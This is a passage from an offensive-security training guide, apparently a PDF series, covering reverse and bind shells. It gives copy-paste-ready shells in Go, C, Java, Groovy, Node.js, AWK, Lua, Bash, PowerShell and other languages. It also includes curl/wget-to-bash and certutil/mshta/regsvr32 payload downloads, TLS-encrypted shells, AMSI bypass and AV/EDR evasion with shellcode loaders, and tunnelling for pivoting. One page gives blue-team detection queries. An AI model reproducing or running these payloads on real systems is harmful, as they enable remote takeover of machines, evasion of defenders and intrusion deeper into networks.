c, _ := [Link]("tcp", "[Link]:4444")
cmd := [Link]("/bin/bash")
[Link] = c
[Link] = c
[Link] = c
[Link]()
}

# Compile for Linux x64


GOOS=linux GOARCH=amd64 go build -ldflags '-s -w' -o shell_linux [Link]

# Cross-compile for Windows x64 (from Linux attacker)


GOOS=windows GOARCH=amd64 go build -ldflags '-s -w' -o [Link] [Link]

# Cross-compile for macOS


GOOS=darwin GOARCH=amd64 go build -ldflags '-s -w' -o shell_mac [Link]

# Verify output binary types


$ file shell_linux [Link] shell_mac
shell_linux: ELF 64-bit LSB executable, x86-64, statically linked
[Link]: PE32+ executable (console) x86-64
shell_mac: Mach-O 64-bit x86_64 executable

# Execute on Linux target


$ chmod +x shell_linux && ./shell_linux

# Attacker catches Go shell


$ nc -lvnp 4444
connect to [[Link]] from (UNKNOWN) [[Link]] 48201
bash-5.1$ id
uid=1000(user) gid=1000(user)

Figure: Go reverse shell — source, cross-compile for Linux/Windows/macOS; self-contained, no dependencies

RTG OPSEC

'-ldflags -s -w' strips debug info and symbols — reduces binary size and AV detection.
Go binaries are fully self-contained — no runtime dependencies on target system.
For Windows: change '/bin/bash' to '[Link]' in [Link].
UPX pack for smaller binary: 'upx --best [Link]' (note: some AV flags UPX headers).

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 19
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

14 C & C++ REVERSE SHELLS


Compiled Payloads — Maximum Control

Windows Linux Both

C — Linux
attacker@kali:~ — C Linux Reverse Shell

// reverse_shell_linux.c
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
int main(void) {
int s;
struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_port = htons(4444);
sa.sin_addr.s_addr = inet_addr("[Link]");
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr*)&sa, sizeof(sa));
dup2(s, 0); dup2(s, 1); dup2(s, 2);
execve("/bin/bash", 0, 0);
}

# Compile (strip symbols)


gcc -o shell reverse_shell_linux.c -s -w

# Static compile (no libc needed — runs on minimal systems)


gcc -o shell_static reverse_shell_linux.c -static -s -w

# Execute
./shell

Figure: C reverse shell Linux — socket/connect/dup2/execve; static compile for dependency-free execution

C — Windows (WinSock2)

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 20
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

attacker@kali:~ — C WinSock2 Windows Shell

// reverse_shell_win.c — Windows WinSock2


#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32")
int main() {
WSADATA w;
WSAStartup(MAKEWORD(2,2), &w);
SOCKET s = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0);
struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_port = htons(4444);
sa.sin_addr.s_addr = inet_addr("[Link]");
WSAConnect(s,(SOCKADDR*)&sa,sizeof(sa),0,0,0,0);
STARTUPINFO si = {sizeof(si)};
[Link] = STARTF_USESTDHANDLES;
[Link] = [Link] = [Link] = (HANDLE)s;
PROCESS_INFORMATION pi;
CreateProcess(0,"[Link]",0,0,1,0,0,0,&si,&pi);
return 0;
}

# Cross-compile from Linux for Windows target


x86_64-w64-mingw32-gcc -o [Link] reverse_shell_win.c -lws2_32 -s -w

# Transfer [Link] to target and execute


C:\> [Link]

Figure: C WinSock2 reverse shell for Windows — CreateProcess [Link]; cross-compiled on Linux with mingw

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 21
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

15 JAVA / GROOVY / NODEJS REVERSE SHELLS


JVM & JavaScript Runtime Environments

Windows Linux Both

Java
target@victim:~$ — Java Reverse Shell

// [Link]
import [Link].*;
import [Link].*;
public class ReverseShell {
public static void main(String[] a) throws Exception {
String host = "[Link]"; int port = 4444;
Process p = [Link]().exec("/bin/bash");
Socket s = new Socket(host, port);
InputStream pi = [Link](), si = [Link]();
OutputStream po = [Link](), so = [Link]();
while (![Link]()) {
while ([Link]()>0) [Link]([Link]());
while ([Link]()>0) [Link]([Link]());
[Link](); [Link](); [Link](50);
try { if ([Link]()>=0) break; } catch(Exception e){}
}
}
}
# Compile and run
javac [Link] && java ReverseShell

Figure: Java reverse shell — [Link] + Socket I/O bridge; useful for Java app RCE (Struts, Spring, Log4Shell)

Groovy — Jenkins Script Console


Jenkins Script Console — Groovy Shell

# Paste into Jenkins Script Console: [Link]

String host = '[Link]'


int port = 4444
String cmd = '/bin/bash'
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start()
Socket s = new Socket(host, port)
InputStream pi = [Link](), si = [Link]()
OutputStream po = [Link](), so = [Link]()
[Link] { [Link] { [Link](it); [Link]() } }
[Link] { [Link] { [Link](it); [Link]() } }
[Link]()

# Attacker catches Jenkins shell


$ nc -lvnp 4444
connect to [[Link]] from (UNKNOWN) [[Link]] 54201
id
uid=115(jenkins) gid=122(jenkins) groups=122(jenkins)

Figure: Groovy reverse shell via Jenkins Script Console — jenkins user shell; critical in CI/CD pivoting

[Link]

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 22
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

target@victim:~$ — [Link] Reverse Shell

# [Link] — net module (most reliable)


node -e "var net=require('net'),cp=require('child_process'),sh=[Link]('/bin/sh',[]);var client=new
[Link]();[Link](4444,'[Link]',function(){[Link]([Link]);
[Link](client);[Link](client)});"

# [Link] multi-line version


node << 'EOF'
var net = require('net');
var cp = require('child_process');
var sh = [Link]('/bin/sh', []);
var client = new [Link]();
[Link](4444, '[Link]', function() {
[Link]([Link]);
[Link](client);
[Link](client);
});
EOF

# Attacker receives [Link] shell


sh-5.1$ node --version
v18.19.0
sh-5.1$ id
uid=1000(nodeapp) gid=1000(nodeapp)

Figure: [Link] net module reverse shell — one-liner and multi-line version; useful for SSJI and Node app RCE

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 23
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

16 AWK / LUA / XTERM / CURL — ESOTERIC SHELLS


When Common Tools Are Not Available

Windows Linux Both

target@victim:~$ — Esoteric Reverse Shells

# AWK (on virtually every Unix system)


awk 'BEGIN{s="/inet/tcp/0/[Link]/4444";while(42){do{printf "sh>" |& s;s |& getline c;
if(c){while((c |& getline)>0)print $0 |& s;close(c)}}while(c!="exit");close(s)}}'

# Lua
lua -e "require('socket');t=require('socket').tcp();t:connect('[Link]','4444');[Link]('/bin/sh
-i <&3 >&3 2>&3');"

# Telnet (two listeners needed: 4444 for input, 4445 for output)
telnet [Link] 4444 | /bin/bash | telnet [Link] 4445
# On attacker: nc -lvnp 4444 AND nc -lvnp 4445

# XTERM (requires X11 / DISPLAY access)


DISPLAY=[Link]:1 xterm
# On attacker: Xnest :1 & DISPLAY=:1 xterm &

# curl to bash — download and execute shell script


curl [Link] | bash

# wget to bash
wget -qO- [Link] | bash

# Ncat with exec (alternative to nc -e)


ncat [Link] 4444 -e /bin/bash

# Vim (if vim is SUID or accessible)


vim -c ':!bash -i >& /dev/tcp/[Link]/4444 0>&1'

# Busybox nc (embedded systems)


busybox nc [Link] 4444 -e /bin/sh

Figure: AWK, Lua, Telnet, xterm, curl|bash, vim, busybox nc — fallbacks when standard tools are blocked

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 24
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

17 ENCRYPTED REVERSE SHELLS


TLS / OpenSSL / Socat — Bypass SSL Inspection

Windows Linux Both

attacker@kali + target@victim — Encrypted Shells

# === OPENSSL ENCRYPTED SHELL ===

# Step 1: Generate self-signed cert on attacker


openssl req -x509 -newkey rsa:4096 -keyout [Link] -out [Link] -days 365 -nodes -subj
'/CN=[Link]'

# Step 2: OpenSSL listener (acts as TLS server)


openssl s_server -quiet -key [Link] -cert [Link] -port 443

# Step 3: OpenSSL reverse shell on Linux target


mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect [Link]:443 > /tmp/s; rm
/tmp/s

# Attacker receives encrypted shell


openssl s_server -quiet -key [Link] -cert [Link] -port 443
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ hostname
victim-web-01

# === NCAT SSL SHELL ===

# Attacker listener
ncat --ssl -lvnp 443

# Target
ncat --ssl [Link] 443 -e /bin/bash

# === STUNNEL WINDOWS TLS WRAPPER ===

# [Link] on target Windows machine


[shell]
client = yes
accept = [Link]:4445
connect = [Link]:443

# Run stunnel then connect [Link] to local port


[Link] [Link]
[Link] -e [Link] [Link] 4445

Figure: OpenSSL TLS shell, ncat --ssl, stunnel Windows wrapper — all traffic encrypted on port 443

RTG OPSEC

'-subj /CN=[Link]' makes cert look legitimate in packet captures/IDS.


Socat TLS (Section 09) is cleaner and gives full interactive TTY — prefer it over OpenSSL.
For maximum stealth: use a real Let's Encrypt cert with your C2 domain on port 443.
Stunnel wraps any plaintext shell in TLS on Windows — useful when socat unavailable.

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 25
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

18 BIND SHELLS
When Reverse Shells Are Blocked — Target Listens, Attacker Connects

Windows Linux Both

target@victim:~$ + attacker@kali:~ — Bind Shells

# Linux bind shell — nc with -e (GNU netcat)


nc -lvnp 4444 -e /bin/bash

# Linux bind shell — mkfifo (works on any nc)


rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -lvnp 4444 > /tmp/f

# Python3 bind shell (Linux)


python3 -c "import socket,subprocess;s=[Link]();[Link](('',4444));[Link](1);c,a=[Link]();
import os;os.dup2([Link](),0);os.dup2([Link](),1);os.dup2([Link](),2);
[Link](['/bin/bash','-i'])"

# Socat bind shell (most stable — full TTY)


socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderr,sigint,setsid,sane

# Windows bind shell — [Link]


[Link] -lvnp 4444 -e [Link]

# Windows PowerShell bind shell


$l=New-Object [Link]('[Link]',4444);$[Link]();
$c=$[Link]();$s=$[Link]();
[byte[]]$b=0..65535|%{0};
while(($i=$[Link]($b,0,$[Link])) -ne 0){
$d=(New-Object [Link]).GetString($b,0,$i);
$r=(iex $d 2>&1|Out-String);
$[Link](([[Link]]::ASCII).GetBytes($r),0,$[Link])}

# Attacker connects to bind shell on target


$ nc -nv [Link] 4444
Connection to [Link] 4444 port [tcp/*] succeeded!
bash-5.1$ id
uid=0(root) gid=0(root) groups=0(root)

Figure: Bind shell variants — nc mkfifo, Python, socat, Windows [Link] and PowerShell; attacker connects inbound

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 26
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

19 SHELL UPGRADING
Dumb Shell to Fully Interactive TTY — Essential Post-Exploitation

Windows Linux Both

attacker@kali:~ — TTY Upgrade Methods

# === PYTHON PTY UPGRADE (Most Common Method) ===

# Step 1: Spawn PTY in the dumb reverse shell


python3 -c 'import pty; [Link]("/bin/bash")'

# Step 2: Background the shell (press Ctrl+Z)


# You'll see: [1]+ Stopped nc -lvnp 4444

# Step 3: Configure your local terminal


stty raw -echo; fg

# Step 4: Set terminal type and size


export TERM=xterm-256color
stty rows 50 cols 220

# === RESULT: Fully interactive TTY ===


bash-5.1$ <- Tab completion works
bash-5.1$ sudo -l <- sudo works (broken in dumb shell)
User www-data may run the following commands:
(ALL : ALL) NOPASSWD: /usr/bin/vim

# === OTHER METHODS ===

# script command (when python unavailable)


script -qc /bin/bash /dev/null
# Then: Ctrl+Z -> stty raw -echo -> fg -> reset

# socat upgrade (if socat on target)


# On target (in dumb shell):
socat TCP:[Link]:4444 EXEC:'bash -li',pty,stderr,sigint,setsid,sane
# (change attacker to socat TTY listener first)

# pwncat-cs — handles upgrade automatically


$ pwncat-cs -lp 4444
[+] Upgrading shell to interactive TTY... done
(remote) www-data@victim:/var/www/html$

# Get correct terminal dimensions (run on attacker first)


$ stty size
50 220
# Then on target shell: stty rows 50 cols 220

Figure: Python PTY upgrade workflow — [Link], stty raw -echo, fg; pwncat-cs handles it automatically

RTG TIP

pwncat-cs (pip install pwncat-cs) is best — auto TTY upgrade, built-in file transfer, persistence.
CRITICAL: 'stty raw -echo' is irreversible if wrong — have 'reset' command ready as recovery.
Always set TERM and stty size after upgrade — prevents scroll/display glitches.
Check your terminal size with 'stty size' before setting on target — dimensions must match.

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 27
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

20 EVASION — BYPASSING AV / EDR


Making Shells Invisible to Defenders

Windows Linux Both

Technique Bypasses Implementation Detection Risk

AMSI Bypass Windows AMSI scanner Patch amsiInitFailed via reflection Medium

Base64 Encoding String-based AV sigs iconv UTF-16LE | base64 Medium

In-Memory Execution Disk AV scanning PowerShell IEX (no file drop) Low

Custom Go/Nim Loader Most AV engines Wrap shellcode in custom binary Low

Process Injection Behavioral EDR Inject into legit process (explorer) Low-Med

Port 443 HTTPS Port-based firewall Use meterpreter/reverse_https Very Low

Living Off Land AppLocker/Whitelist MSHTA, Regsvr32, WMIC, etc. Low

Staged Payload Static AV scan Tiny stager fetches payload in RAM Low

CORP\victim@WIN10 + attacker@kali — Evasion

# === AMSI BYPASS + ENCODED SHELL ===

# Step 1: AMSI bypass (run in current PS session first)


$a=[Ref].[Link]('[Link]')
$b=$[Link]('amsiInitFailed','NonPublic,Static')
$[Link]($null,$true)
[+] AMSI bypassed

# Step 2: Encode your shell payload on Linux attacker


$ CMD='$c=New-Object [Link]("[Link]",4444);$s=$[Link]();...'
$ echo -n $CMD | iconv -t UTF-16LE | base64 -w 0
JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAu...

# Step 3: Execute encoded payload on Windows target


powershell -nop -noni -w hidden -enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAA...

# === GO CUSTOM LOADER (Better AV Evasion) ===

# Generate shellcode with msfvenom


$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[Link] LPORT=4444 -f raw -o [Link]

# Go loader embeds and executes shellcode in memory


# GOOS=windows GOARCH=amd64 go build -o [Link] [Link]
# Loader uses VirtualAlloc+RtlCopyMemory+CreateThread (Windows)

# Result: custom binary wrapping shellcode — most AV engines miss it


[+] Session opened — AV did not detect custom Go loader

Figure: AMSI bypass + base64 PS encoding; Go custom loader concept for superior AV evasion

RTG OPSEC

AMSI patches are well-known — EDR behavioral detection may still trigger on the patch itself.
Best evasion chain: Go/Nim loader + XOR-encrypted shellcode + process injection into explorer.
In-memory PowerShell IEX leaves no disk artifact — combine with AMSI bypass for best results.
ETW patching alongside AMSI bypass reduces event telemetry sent to EDR agents.

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 28
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

21 PIVOTING WITH REVERSE SHELLS


Through Firewalls — Chisel, SSH, Socat

Windows Linux Both

attacker@kali + pivot@jumpbox — Shell Pivoting

# === CHISEL HTTP TUNNEL (Best for strict firewalls) ===

# Attacker — server mode


$ ./chisel server -p 8080 --reverse
[2025/03/17 10:00:00] server: Reverse tunnelling enabled
[2025/03/17 10:00:00] server: Listening on [Link]

# Target — client tunnels through HTTP port 8080


$ ./chisel client [Link]:8080 R:4444:[Link]:4444
[2025/03/17 10:00:05] client: Connected to [Link]

# Now fire reverse shell pointing to [Link]:4444 on TARGET


$ bash -i >& /dev/tcp/[Link]/4444 0>&1

# Shell arrives at attacker via Chisel HTTP tunnel


$ nc -lvnp 4444
bash-5.1$ id
uid=1000(user) — internal network shell via Chisel

# === SSH PORT FORWARD ===

# Local forward — expose attacker listener through jumpbox


$ ssh -L 4444:[Link]:4444 user@[Link]

# Remote forward — target reverse shell goes via jumpbox


$ ssh -R 4444:[Link]:4444 user@[Link]

# === SOCAT RELAY on pivot host ===

# On pivot host — relay port 4444 to attacker


$ socat TCP-LISTEN:4444,fork TCP:[Link]:4444
# Target -> pivot:4444 -> attacker:4444

# === CHISEL SOCKS PROXY (route all tools through target) ===
$ ./chisel server -p 8080 --socks5 --reverse
$ ./chisel client [Link]:8080 R:socks
# Configure proxychains to use [Link]:1080
$ proxychains nmap -sV [Link]/24

Figure: Chisel HTTP tunnel, SSH port forward, socat relay; Chisel SOCKS proxy for full proxychains routing

RTG OPSEC

Chisel is the most reliable HTTP tunnel — works through corporate proxies and strict firewalls.
SSH -R is clean when you have SSH creds to a jumpbox but no direct route to attacker.
Socat relay: one command, no dependencies (beyond socat), bridges any two network segments.
Chisel SOCKS5 mode lets you run ANY tool (nmap, curl, impacket) through the target network.

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 29
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

22 DETECTION — BLUE TEAM INDICATORS


Event IDs, SIEM & Network Detection

Windows Linux Both

Indicator Detection Method Shell Type

Outbound TCP to suspicious IP:port Firewall/NetFlow egress monitoring All shells

bash/python/perl spawning TCP socket EDR process+network correlation Script shells

PowerShell with -enc flag Event ID 4104 (PS Script Block Logging) PowerShell

[Link] as child of IIS/Apache EDR parent-child process anomaly Web shells

/dev/tcp in bash commandline Auditd execve + commandline audit Bash /dev/tcp

nc/ncat with outbound connection Process + network event correlation Netcat shells

HTTPS to new/unknown host on 443 DNS + TLS SNI fingerprinting MSF HTTPS/Socat

[Link] making network connect Sysmon Event ID 3 MSHTA shells

certutil URLCache in cmdline Sysmon Event ID 1 + network LOLBin download

Outbound to port 4444/1234/9999 Port-based anomaly alerting Generic shells

SIEM — Splunk / Azure Sentinel KQL Queries

# Splunk — detect bash /dev/tcp reverse shells


index=linux_audit type=EXECVE
| search a1="-i" AND (a2=">&" OR a2="/dev/tcp")
| table _time, host, user, a0, a1, a2, a3

# KQL (Sentinel) — PowerShell encoded command detection


SecurityEvent
| where EventID == 4104
| where ScriptBlockText has '-enc' or ScriptBlockText has 'FromBase64'
| where ScriptBlockText has '[Link]' or ScriptBlockText has 'TCPClient'
| project TimeGenerated, Computer, UserName, ScriptBlockText

# Splunk — [Link] spawned from web process (webshell indicator)


index=sysmon EventCode=1
| where ParentImage in ("[Link]","httpd","nginx","apache2")
| where Image in ("[Link]","bash","sh","[Link]")
| table _time, host, ParentImage, Image, CommandLine

# KQL — outbound PowerShell to non-standard port


DeviceNetworkEvents
| where InitiatingProcessFileName == "[Link]"
| where RemotePort in (4444, 4445, 1234, 9999, 31337, 1337)
| project TimeGenerated, DeviceName, RemoteIP, RemotePort

# Auditd rule — catch all exec with /dev/tcp


-a always,exit -F arch=b64 -S execve -k exec_audit
grep /dev/tcp /var/log/audit/[Link]

Figure: Detection queries — bash /dev/tcp, PS encoded, webshell child process, PowerShell network anomaly

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 30
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

RTG NOTE

Enable PS Script Block Logging (Event 4104) — catches encoded and obfuscated PowerShell.
Sysmon EventID 3 (network connection) correlates process + destination IP — critical.
Auditd rule '-a always,exit -F arch=b64 -S execve' catches all process execution on Linux.
Behavioral: bash/python/perl directly creating TCP sockets = high-confidence indicator.

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 31
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

23 COMPLETE CHEAT SHEET


Every Command Copy-Paste Ready — Replace IP & PORT

RTG TIP

REPLACE in all commands: IP = your attacker IP (e.g. [Link]) | PORT = your listener port (e.g. 4444)
For VPN/HTB/THM: use your tun0 IP not eth0. Check with: ip a show tun0 | grep inet

Linux Shells — Copy-Paste Ready


Linux Reverse Shell Reference

# BASH (most common — try this first)


bash -i >& /dev/tcp/IP/PORT 0>&1

# BASH with fd5


bash -i 5<>/dev/tcp/IP/PORT 0<&5 1>&5 2>&5

# SH (when bash restricted)


sh -i >& /dev/tcp/IP/PORT 0>&1

# PYTHON3 with PTY


python3 -c "import socket,pty,os;s=[Link]();[Link](('IP',PORT));[os.dup2([Link](),f) for f
in(0,1,2)];[Link]('/bin/bash')"

# PERL
perl -e 'use Socket;$i="IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,
sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");
exec("/bin/bash -i")};'

# PHP (command line)


php -r '$sock=fsockopen("IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

# RUBY
ruby -rsocket -e 'c=[Link]("IP",PORT);$stdin=$stdout=$stderr=c;exec("/bin/bash -i")'

# NETCAT mkfifo (most portable)


rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT>/tmp/f

# NETCAT with -e (GNU netcat only)


nc -e /bin/bash IP PORT

# SOCAT (best interactive TTY)


socat TCP:IP:PORT EXEC:'bash -li',pty,stderr,sigint,setsid,sane

# AWK
awk 'BEGIN{s="/inet/tcp/0/IP/PORT";while(42){do{printf "sh>" |& s;s |& getline c;if(c){while((c |&
getline)>0)print $0 |& s;close(c)}}while(c!="exit");close(s)}}'

# GOLANG compile+run
GOOS=linux GOARCH=amd64 go build -o shell [Link] && ./shell

# curl download and execute


curl [Link] | bash

Figure: All Linux reverse shells — copy-paste ready. Replace IP and PORT with your values.

Windows Shells — Copy-Paste Ready

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 32
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

Windows Reverse Shell Reference

# POWERSHELL TCPClient one-liner


powershell -nop -noni -w hidden -c "$c=New-Object [Link]('IP',PORT);$s=$[Link]();
[byte[]]$b=0..65535|%{0};while(($i=$[Link]($b,0,$[Link])) -ne 0){$d=(New-Object -TypeName
[Link]).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS
'+(pwd).Path+'> ';$se=([[Link]]::ASCII).GetBytes($sb2);$[Link]($se,0,$[Link]);
$[Link]()};$[Link]()"

# PYTHON3 Windows
python3 -c "import socket,subprocess;s=[Link]();[Link](('IP',PORT));
[Link](['[Link]'],stdin=s,stdout=s,stderr=s)"

# NETCAT Windows (upload [Link] first)


[Link] -e [Link] IP PORT

# MSHTA
mshta [Link]

# CERTUTIL download + execute


certutil -urlcache -split -f [Link] C:\Windows\Temp\[Link] && C:\Windows\Temp\[Link] -e
[Link] IP PORT

# REGSVR32 squiblydoo
regsvr32 /s /u /n /i:[Link] [Link]

# MSFVENOM Windows EXE


msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe -o [Link]

# MSFVENOM Meterpreter HTTPS


msfvenom -p windows/x64/meterpreter/reverse_https LHOST=IP LPORT=443 -f exe -o [Link]

Figure: All Windows reverse shells — copy-paste ready. Replace IP and PORT with your values.

Listeners & TTY — Copy-Paste Ready


Task Command — Copy-Paste Ready

Basic listener nc -lvnp PORT

Rlwrap listener rlwrap nc -lvnp PORT

Socat TTY listener socat file:`tty`,raw,echo=0 TCP-LISTEN:PORT

Socat TLS listener socat OPENSSL-LISTEN:PORT,cert=[Link],verify=0 file:`tty`,raw,echo=0

OpenSSL listener openssl s_server -quiet -key [Link] -cert [Link] -port PORT

pwncat-cs pwncat-cs -lp PORT

Ncat SSL listener ncat --ssl -lvnp PORT

MSF handler use exploit/multi/handler; set PAYLOAD ...; set LHOST IP; set LPORT PORT; exploit -j

TTY upgrade (Python) python3 -c 'import pty;[Link]("/bin/bash")' then Ctrl+Z → stty raw -echo → fg

TTY upgrade (script) script -qc /bin/bash /dev/null then Ctrl+Z → stty raw -echo → fg

Fix terminal size stty rows 50 cols 220; export TERM=xterm-256color

Chisel tunnel (attacker) ./chisel server -p 8080 --reverse

Chisel tunnel (target) ./chisel client IP:8080 R:PORT:[Link]:PORT

Generate SSL cert openssl req -x509 -newkey rsa:4096 -keyout [Link] -out [Link] -days 365 -nodes -subj
'/CN=[Link]'

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 33
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

Pre-Engagement Checklist
[ ] Listener running BEFORE delivering payload (race condition if reversed)
[ ] Correct LHOST — tun0 for VPN/HTB/THM, not eth0
[ ] Port 443 or 80 chosen for stealth (not 4444 in production engagements)
[ ] Test payload locally before target delivery
[ ] TTY upgrade method planned (python/socat/pwncat) before shell arrives
[ ] Encrypted shell if SSL inspection proxy suspected
[ ] Windows vs Linux payload variant selected correctly
[ ] AV/EDR status assessed — use encoded/custom loader if AV present
[ ] Firewall egress check — if TCP blocked, try HTTP(S), DNS tunnel
[ ] Persistence planned — don't lose shell before setting foothold

RTG TIP

Port 443 + TLS encryption = hardest shell to detect, block, and inspect.
pwncat-cs handles TTY upgrade, file transfer and persistence automatically.
Fallback chain when primary fails: Bash → Python3 → nc mkfifo → PHP → Perl.
Use rlwrap nc at minimum — raw netcat gives no arrow keys or command history.

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 34
RedTeamGarage — Offensive Security Series RedTeamGarage
RTG | OFFENSIVE SECURITY SERIES

CONNECT WITH REDTEAMGARAGE (RTG)


The Community. The Knowledge. The Edge.

Official Website [Link]

Telegram [Link]

LinkedIn [Link]

RTG NOTE

Democratize offensive security education — free, practical, no-nonsense.


Build the most comprehensive red team technique library available anywhere.
Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.

RTG
© RedTeamGarage (RTG) | For Educational Purposes Only | Authorized Testing Page 35

You might also like